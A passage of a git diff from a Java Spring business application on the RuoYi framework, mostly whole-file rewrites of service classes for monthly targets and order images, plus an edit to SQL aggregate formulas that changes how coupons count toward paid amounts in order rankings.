org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysRoleDept; -import org.dromara.system.domain.SysUser; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysRoleDeptMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.work.domain.TpMonth; -import org.dromara.work.domain.bo.TpMonthBo; -import org.dromara.work.domain.vo.TpMonthVo; -import org.dromara.work.mapper.TpMonthMapper; -import org.dromara.work.service.ITpMonthService; -import org.springframework.stereotype.Service; - -import java.util.*; -import java.util.stream.Collectors; - -/** - * 月目标Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpMonthServiceImpl extends MPJBaseServiceImpl implements ITpMonthService { - - private final TpMonthMapper baseMapper; - - private final SysDeptMapper deptMapper; - - private final SysUserMapper userMapper; - - private final SysRoleDeptMapper roleDeptMapper; - - /** - * 查询月目标 - * - * @param id 主键 - * @return 月目标 - */ - @Override - public TpMonthVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询月目标列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 月目标分页列表 - */ - @Override - public TableDataInfo queryPageList(TpMonthBo bo, PageQuery pageQuery) { - MPJLambdaWrapper lqw = buildQueryWrapper(bo); - lqw.selectAll(TpMonth.class) - .selectAs(SysUser::getNickName, TpMonthVo::getNickName) - .selectAs(SysUser::getRealName, TpMonthVo::getRealName) - .selectAs(SysDept::getDeptName, TpMonthVo::getDeptName) - .leftJoin(SysUser.class, SysUser::getUserId, TpMonth::getSid) - .leftJoin(SysDept.class, SysDept::getDeptId, TpMonth::getDeptId) - .orderByDesc(TpMonth::getId); - - IPage result = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpMonthVo.class, lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的月目标列表 - * - * @param bo 查询条件 - * @return 月目标列表 - */ - @Override - public List queryList(TpMonthBo bo) { - MPJLambdaWrapper lqw = buildQueryWrapper(bo); - lqw.selectAll(TpMonth.class) - .selectAs(SysUser::getNickName, TpMonthVo::getNickName) - .selectAs(SysUser::getRealName, TpMonthVo::getRealName) - .selectAs(SysDept::getDeptName, TpMonthVo::getDeptName) - .leftJoin(SysUser.class, SysUser::getUserId, TpMonth::getSid) - .leftJoin(SysDept.class, SysDept::getDeptId, TpMonth::getDeptId) - .orderByDesc(TpMonth::getId); - - return baseMapper.selectJoinList(TpMonthVo.class,lqw); - } - - private MPJLambdaWrapper buildQueryWrapper(TpMonthBo bo) { - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - if(ObjectUtil.isNotNull(bo.getDeptId())){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(bo.getDeptId()); - if (deptIds != null && deptIds.size() > 0){ - lqw.in(TpMonth::getDeptId, deptIds); - } - }/*else { - LoginUser loginUser = LoginHelper.getLoginUser(); - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - lqw.in(TpMonth::getDeptId,deptIds); - }else if(scope == 3){ - lqw.eq(TpMonth::getDeptId,loginUser.getDeptId()); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - lqw.in(TpMonth::getDeptId,deptIds); - }else if(scope == 5){ - lqw.eq(TpMonth::getSid,loginUser.getUserId()); - } - }*/ - lqw.like(StringUtils.isNotBlank(bo.getNickName()), SysUser::getNickName, bo.getNickName()); - lqw.eq(bo.getSid() != null, TpMonth::getSid, bo.getSid()); - lqw.in(bo.getUserIds() != null, TpMonth::getSid, bo.getUserIds()); - lqw.eq(StringUtils.isNotBlank(bo.getMonth()), TpMonth::getMonth, bo.getMonth()); - lqw.eq(bo.getGeren() != null, TpMonth::getGeren, bo.getGeren()); - lqw.eq(bo.getGongsi() != null, TpMonth::getGongsi, bo.getGongsi()); - lqw.eq(bo.getAddTime() != null, TpMonth::getAddTime, bo.getAddTime()); - return lqw; - } - - public int getDataScope() { - LoginUser loginUser = LoginHelper.getLoginUser(); - List ids = loginUser != null ? - loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : - Collections.emptyList(); - - if (ids.contains("1")) { - return 1; - } else if (ids.contains("2")) { - return 2; - } else if (ids.contains("3")) { - return 3; - } else if (ids.contains("4")) { - return 4; - } else if (ids.contains("5")) { - return 5; - } - return 0; - } - - public List getDeptIds(){ - LoginUser loginUser = LoginHelper.getLoginUser(); - List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); - List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); - return getDeptIds.stream().distinct().collect(Collectors.toList()); - } - - /** - * 新增月目标 - * - * @param bo 月目标 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpMonthBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - String month = DateUtil.format(new Date(), "yyyy-MM"); - boolean exists = baseMapper.exists(new LambdaQueryWrapper().eq(TpMonth::getSid,bo.getSid()).eq(TpMonth::getMonth, bo.getMonth())); - if (exists){ - throw new ServiceException("该用户已存在该月的目标,请勿重复添加!"); - } - -// bo.setSid(bo.getSid()); -// bo.setMonth(month); - bo.setAddTime(new Date()); - - SysDept dept = deptMapper.selectById(bo.getDeptId()); - bo.setDeptId(dept.getDeptId()); - bo.setAncestors(dept.getAncestors()); - - TpMonth add = MapstructUtils.convert(bo, TpMonth.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改月目标 - * - * @param bo 月目标 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpMonthBo bo) { - /*LoginUser loginUser = LoginHelper.getLoginUser(); - String month = DateUtil.format(new Date(), "yyyy-MM"); - TpMonth update = baseMapper.selectOne(new LambdaQueryWrapper().eq(TpMonth::getSid,loginUser.getUserId()).eq(TpMonth::getMonth, month)); - if (update != null) { - update.setGeren(bo.getGeren()); - update.setAddTime(new Date()); - return baseMapper.updateById(update) > 0; - } - - bo.setSid(loginUser.getUserId()); - bo.setMonth(month);*/ - bo.setAddTime(new Date()); - TpMonth add = MapstructUtils.convert(bo, TpMonth.class); - return baseMapper.updateById(add) > 0; - } - - /** - * 校验并批量删除月目标信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 根据用户和月份查询 - * @param monthBo - * @return - */ - @Override - public TpMonthVo queryTpMonth(TpMonthBo monthBo) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpMonth::getSid, monthBo.getSid()).eq(TpMonth::getMonth, monthBo.getMonth())); - } -} +package org.dromara.work.service.impl; + +import cn.hutool.core.date.DateUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysRoleDept; +import org.dromara.system.domain.SysUser; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysRoleDeptMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.work.domain.TpMonth; +import org.dromara.work.domain.bo.TpMonthBo; +import org.dromara.work.domain.vo.TpMonthVo; +import org.dromara.work.mapper.TpMonthMapper; +import org.dromara.work.service.ITpMonthService; +import org.springframework.stereotype.Service; + +import java.util.*; +import java.util.stream.Collectors; + +/** + * 月目标Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpMonthServiceImpl extends MPJBaseServiceImpl implements ITpMonthService { + + private final TpMonthMapper baseMapper; + + private final SysDeptMapper deptMapper; + + private final SysUserMapper userMapper; + + private final SysRoleDeptMapper roleDeptMapper; + + /** + * 查询月目标 + * + * @param id 主键 + * @return 月目标 + */ + @Override + public TpMonthVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询月目标列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 月目标分页列表 + */ + @Override + public TableDataInfo queryPageList(TpMonthBo bo, PageQuery pageQuery) { + MPJLambdaWrapper lqw = buildQueryWrapper(bo); + lqw.selectAll(TpMonth.class) + .selectAs(SysUser::getNickName, TpMonthVo::getNickName) + .selectAs(SysUser::getRealName, TpMonthVo::getRealName) + .selectAs(SysDept::getDeptName, TpMonthVo::getDeptName) + .leftJoin(SysUser.class, SysUser::getUserId, TpMonth::getSid) + .leftJoin(SysDept.class, SysDept::getDeptId, TpMonth::getDeptId) + .orderByDesc(TpMonth::getId); + + IPage result = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpMonthVo.class, lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的月目标列表 + * + * @param bo 查询条件 + * @return 月目标列表 + */ + @Override + public List queryList(TpMonthBo bo) { + MPJLambdaWrapper lqw = buildQueryWrapper(bo); + lqw.selectAll(TpMonth.class) + .selectAs(SysUser::getNickName, TpMonthVo::getNickName) + .selectAs(SysUser::getRealName, TpMonthVo::getRealName) + .selectAs(SysDept::getDeptName, TpMonthVo::getDeptName) + .leftJoin(SysUser.class, SysUser::getUserId, TpMonth::getSid) + .leftJoin(SysDept.class, SysDept::getDeptId, TpMonth::getDeptId) + .orderByDesc(TpMonth::getId); + + return baseMapper.selectJoinList(TpMonthVo.class,lqw); + } + + private MPJLambdaWrapper buildQueryWrapper(TpMonthBo bo) { + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + if(ObjectUtil.isNotNull(bo.getDeptId())){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, bo.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(bo.getDeptId()); + if (deptIds != null && deptIds.size() > 0){ + lqw.in(TpMonth::getDeptId, deptIds); + } + }/*else { + LoginUser loginUser = LoginHelper.getLoginUser(); + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + lqw.in(TpMonth::getDeptId,deptIds); + }else if(scope == 3){ + lqw.eq(TpMonth::getDeptId,loginUser.getDeptId()); + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + lqw.in(TpMonth::getDeptId,deptIds); + }else if(scope == 5){ + lqw.eq(TpMonth::getSid,loginUser.getUserId()); + } + }*/ + lqw.like(StringUtils.isNotBlank(bo.getNickName()), SysUser::getNickName, bo.getNickName()); + lqw.eq(bo.getSid() != null, TpMonth::getSid, bo.getSid()); + lqw.in(bo.getUserIds() != null, TpMonth::getSid, bo.getUserIds()); + lqw.eq(StringUtils.isNotBlank(bo.getMonth()), TpMonth::getMonth, bo.getMonth()); + lqw.eq(bo.getGeren() != null, TpMonth::getGeren, bo.getGeren()); + lqw.eq(bo.getGongsi() != null, TpMonth::getGongsi, bo.getGongsi()); + lqw.eq(bo.getAddTime() != null, TpMonth::getAddTime, bo.getAddTime()); + return lqw; + } + + public int getDataScope() { + LoginUser loginUser = LoginHelper.getLoginUser(); + List ids = loginUser != null ? + loginUser.getRoles().stream().filter(Objects::nonNull).map(role -> role.getDataScope()).filter(Objects::nonNull).collect(Collectors.toList()) : + Collections.emptyList(); + + if (ids.contains("1")) { + return 1; + } else if (ids.contains("2")) { + return 2; + } else if (ids.contains("3")) { + return 3; + } else if (ids.contains("4")) { + return 4; + } else if (ids.contains("5")) { + return 5; + } + return 0; + } + + public List getDeptIds(){ + LoginUser loginUser = LoginHelper.getLoginUser(); + List roleIds = loginUser.getRoles().stream().map(RoleDTO::getRoleId).collect(Collectors.toList()); + List getDeptIds = roleDeptMapper.selectList(new LambdaQueryWrapper().in(SysRoleDept::getRoleId, roleIds)).stream().map(SysRoleDept::getDeptId).collect(Collectors.toList()); + return getDeptIds.stream().distinct().collect(Collectors.toList()); + } + + /** + * 新增月目标 + * + * @param bo 月目标 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpMonthBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + String month = DateUtil.format(new Date(), "yyyy-MM"); + boolean exists = baseMapper.exists(new LambdaQueryWrapper().eq(TpMonth::getSid,bo.getSid()).eq(TpMonth::getMonth, bo.getMonth())); + if (exists){ + throw new ServiceException("该用户已存在该月的目标,请勿重复添加!"); + } + +// bo.setSid(bo.getSid()); +// bo.setMonth(month); + bo.setAddTime(new Date()); + + SysDept dept = deptMapper.selectById(bo.getDeptId()); + bo.setDeptId(dept.getDeptId()); + bo.setAncestors(dept.getAncestors()); + + TpMonth add = MapstructUtils.convert(bo, TpMonth.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改月目标 + * + * @param bo 月目标 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpMonthBo bo) { + /*LoginUser loginUser = LoginHelper.getLoginUser(); + String month = DateUtil.format(new Date(), "yyyy-MM"); + TpMonth update = baseMapper.selectOne(new LambdaQueryWrapper().eq(TpMonth::getSid,loginUser.getUserId()).eq(TpMonth::getMonth, month)); + if (update != null) { + update.setGeren(bo.getGeren()); + update.setAddTime(new Date()); + return baseMapper.updateById(update) > 0; + } + + bo.setSid(loginUser.getUserId()); + bo.setMonth(month);*/ + bo.setAddTime(new Date()); + TpMonth add = MapstructUtils.convert(bo, TpMonth.class); + return baseMapper.updateById(add) > 0; + } + + /** + * 校验并批量删除月目标信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 根据用户和月份查询 + * @param monthBo + * @return + */ + @Override + public TpMonthVo queryTpMonth(TpMonthBo monthBo) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpMonth::getSid, monthBo.getSid()).eq(TpMonth::getMonth, monthBo.getMonth())); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpNewOrderServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpNewOrderServiceImpl.java index d3ce12c..61bb2f1 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpNewOrderServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpNewOrderServiceImpl.java @@ -148,9 +148,11 @@ public class TpNewOrderServiceImpl extends MPJBaseServiceImpl wrapper = buildQueryRankingMPJWrapper(bo) .selectAs("count(1)",OrderRankingSumVo::getTotalOrderNum) .selectAs("sum(price)",OrderRankingSumVo::getTotalPerformance) - .selectAs("sum((pay_price + coupon) - kfpay)",OrderRankingSumVo::getTotalPaidAmount) - .selectAs("concat(round(sum((pay_price + coupon) - kfpay)/sum(price) * 100),'%')",OrderRankingSumVo::getTotalCompletionRate) +// .selectAs("sum((pay_price + coupon) - kfpay)",OrderRankingSumVo::getTotalPaidAmount) + .selectAs("sum((pay_price) - kfpay)",OrderRankingSumVo::getTotalPaidAmount) +// .selectAs("concat(round(sum((pay_price + coupon) - kfpay)/sum(price) * 100),'%')",OrderRankingSumVo::getTotalCompletionRate) + .selectAs("concat(round(sum((pay_price) - kfpay)/sum(price) * 100),'%')",OrderRankingSumVo::getTotalCompletionRate) .leftJoin(SysUser.class,SysUser::getUserId,TpOrder::getSid) .leftJoin(SysDept.class,SysDept::getDeptId,SysUser::getDeptId) .eq(TpOrder::getIsDel,1); @@ -241,8 +245,8 @@ public class TpNewOrderServiceImpl extends MPJBaseServiceImpl wrapper = buildQueryRankingMPJWrapper(bo) .selectAs("count(1)",OrderRankingSumVo::getTotalOrderNum) .selectAs("sum(js_price)",OrderRankingSumVo::getTotalPerformance) - .selectAs("sum(js_pay_price + coupon)",OrderRankingSumVo::getTotalPaidAmount) - .selectAs("concat(round(sum(js_pay_price + coupon)/sum(js_price) * 100),'%')",OrderRankingSumVo::getTotalCompletionRate) + .selectAs("sum(js_pay_price + round(coupon*(js_price/price),2))",OrderRankingSumVo::getTotalPaidAmount) + .selectAs("concat(round(sum(js_pay_price + coupon*(js_price/price))/sum(js_price) * 100),'%')",OrderRankingSumVo::getTotalCompletionRate) .leftJoin(SysUser.class,SysUser::getUserId,TpOrder::getBid) .leftJoin(SysDept.class,SysDept::getDeptId,SysUser::getDeptId) .eq(TpOrder::getIsDel,1) diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderBigServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderBigServiceImpl.java index 953233a..5639e5e 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderBigServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderBigServiceImpl.java @@ -1,178 +1,178 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.github.yulichang.base.MPJBaseServiceImpl; -import com.github.yulichang.wrapper.MPJLambdaWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.TpOrderBig; -import org.dromara.work.domain.TpOrderRecord; -import org.dromara.work.domain.bo.TpOrderBigBo; -import org.dromara.work.domain.vo.TpOrderBigVo; -import org.dromara.work.mapper.TpOrderBigMapper; -import org.dromara.work.mapper.TpOrderMapper; -import org.dromara.work.mapper.TpOrderRecordMapper; -import org.dromara.work.service.ITpOrderBigService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 订单大图Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpOrderBigServiceImpl extends MPJBaseServiceImpl implements ITpOrderBigService { - - private final TpOrderBigMapper baseMapper; - - private final TpOrderRecordMapper recordMapper; - - private final TpOrderMapper orderMapper; - - /** - * 查询订单大图 - * - * @param id 主键 - * @return 订单大图 - */ - @Override - public TpOrderBigVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询订单大图列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 订单大图分页列表 - */ - @Override - public TableDataInfo queryPageList(TpOrderBigBo bo, PageQuery pageQuery) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderBig.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderBig::getId); - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderBigVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 查询符合条件的订单大图列表 - * - * @param bo 查询条件 - * @return 订单大图列表 - */ - @Override - public List queryList(TpOrderBigBo bo) { - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) - .selectAll(TpOrderBig.class) - .select("s.real_name as addUserName") - .leftJoin("sys_user s on s.user_id = t.add_user") - .orderByDesc(TpOrderBig::getId); - - return baseMapper.selectVoList(wrapper); - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderBigBo bo) { - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(bo.getOid() != null, TpOrderBig::getOid, bo.getOid()); - lqw.eq(bo.getType() != null, TpOrderBig::getType, bo.getType()); - lqw.like(StringUtils.isNotBlank(bo.getName()), TpOrderBig::getName, bo.getName()); - lqw.eq(StringUtils.isNotBlank(bo.getPic()), TpOrderBig::getPic, bo.getPic()); - lqw.eq(StringUtils.isNotBlank(bo.getLink()), TpOrderBig::getLink, bo.getLink()); - lqw.eq(bo.getAddTime() != null, TpOrderBig::getAddTime, bo.getAddTime()); - lqw.eq(bo.getAddUser() != null, TpOrderBig::getAddUser, bo.getAddUser()); - return lqw; - } - - /** - * 新增订单大图 - * - * @param bo 订单大图 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderBigBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (!loginUser.getIdentity().equals(2)){ - throw new ServiceException("只有技术才可以上传图片哦"); - } - bo.setAddTime(new Date()); - bo.setAddUser(loginUser.getUserId()); - TpOrderBig add = MapstructUtils.convert(bo, TpOrderBig.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - TpOrderRecord record = new TpOrderRecord(); - record.setOid(bo.getOid()); - record.setType("上传大图"); - record.setContent("订单上传大图成功"); - record.setAddUser(loginUser.getUserId()); - record.setAddTime(new Date()); - record.setState(1); - recordMapper.insert(record); - - TpOrder order = orderMapper.selectById(bo.getOid()); - order.setState(4); - orderMapper.updateById(order); - } - return flag; - } - - /** - * 修改订单大图 - * - * @param bo 订单大图 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpOrderBigBo bo) { - TpOrderBig update = MapstructUtils.convert(bo, TpOrderBig.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpOrderBig entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除订单大图信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.github.yulichang.base.MPJBaseServiceImpl; +import com.github.yulichang.wrapper.MPJLambdaWrapper; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.TpOrderBig; +import org.dromara.work.domain.TpOrderRecord; +import org.dromara.work.domain.bo.TpOrderBigBo; +import org.dromara.work.domain.vo.TpOrderBigVo; +import org.dromara.work.mapper.TpOrderBigMapper; +import org.dromara.work.mapper.TpOrderMapper; +import org.dromara.work.mapper.TpOrderRecordMapper; +import org.dromara.work.service.ITpOrderBigService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 订单大图Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpOrderBigServiceImpl extends MPJBaseServiceImpl implements ITpOrderBigService { + + private final TpOrderBigMapper baseMapper; + + private final TpOrderRecordMapper recordMapper; + + private final TpOrderMapper orderMapper; + + /** + * 查询订单大图 + * + * @param id 主键 + * @return 订单大图 + */ + @Override + public TpOrderBigVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询订单大图列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 订单大图分页列表 + */ + @Override + public TableDataInfo queryPageList(TpOrderBigBo bo, PageQuery pageQuery) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderBig.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderBig::getId); + + //分页查询 (需要启用 mybatis plus 分页插件) + IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), TpOrderBigVo.class, wrapper); + return TableDataInfo.build(listPage); + } + + /** + * 查询符合条件的订单大图列表 + * + * @param bo 查询条件 + * @return 订单大图列表 + */ + @Override + public List queryList(TpOrderBigBo bo) { + //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 + MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo) + .selectAll(TpOrderBig.class) + .select("s.real_name as addUserName") + .leftJoin("sys_user s on s.user_id = t.add_user") + .orderByDesc(TpOrderBig::getId); + + return baseMapper.selectVoList(wrapper); + } + + private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderBigBo bo) { + Map params = bo.getParams(); + MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); + lqw.eq(bo.getOid() != null, TpOrderBig::getOid, bo.getOid()); + lqw.eq(bo.getType() != null, TpOrderBig::getType, bo.getType()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpOrderBig::getName, bo.getName()); + lqw.eq(StringUtils.isNotBlank(bo.getPic()), TpOrderBig::getPic, bo.getPic()); + lqw.eq(StringUtils.isNotBlank(bo.getLink()), TpOrderBig::getLink, bo.getLink()); + lqw.eq(bo.getAddTime() != null, TpOrderBig::getAddTime, bo.getAddTime()); + lqw.eq(bo.getAddUser() != null, TpOrderBig::getAddUser, bo.getAddUser()); + return lqw; + } + + /** + * 新增订单大图 + * + * @param bo 订单大图 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpOrderBigBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (!loginUser.getIdentity().equals(2)){ + throw new ServiceException("只有技术才可以上传图片哦"); + } + bo.setAddTime(new Date()); + bo.setAddUser(loginUser.getUserId()); + TpOrderBig add = MapstructUtils.convert(bo, TpOrderBig.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + TpOrderRecord record = new TpOrderRecord(); + record.setOid(bo.getOid()); + record.setType("上传大图"); + record.setContent("订单上传大图成功"); + record.setAddUser(loginUser.getUserId()); + record.setAddTime(new Date()); + record.setState(1); + recordMapper.insert(record); + + TpOrder order = orderMapper.selectById(bo.getOid()); + order.setState(4); + orderMapper.updateById(order); + } + return flag; + } + + /** + * 修改订单大图 + * + * @param bo 订单大图 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpOrderBigBo bo) { + TpOrderBig update = MapstructUtils.convert(bo, TpOrderBig.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpOrderBig entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除订单大图信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCdServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCdServiceImpl.java index 8e0551f..572455a 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCdServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpOrderCdServiceImpl.java @@ -1,131 +1,131 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import 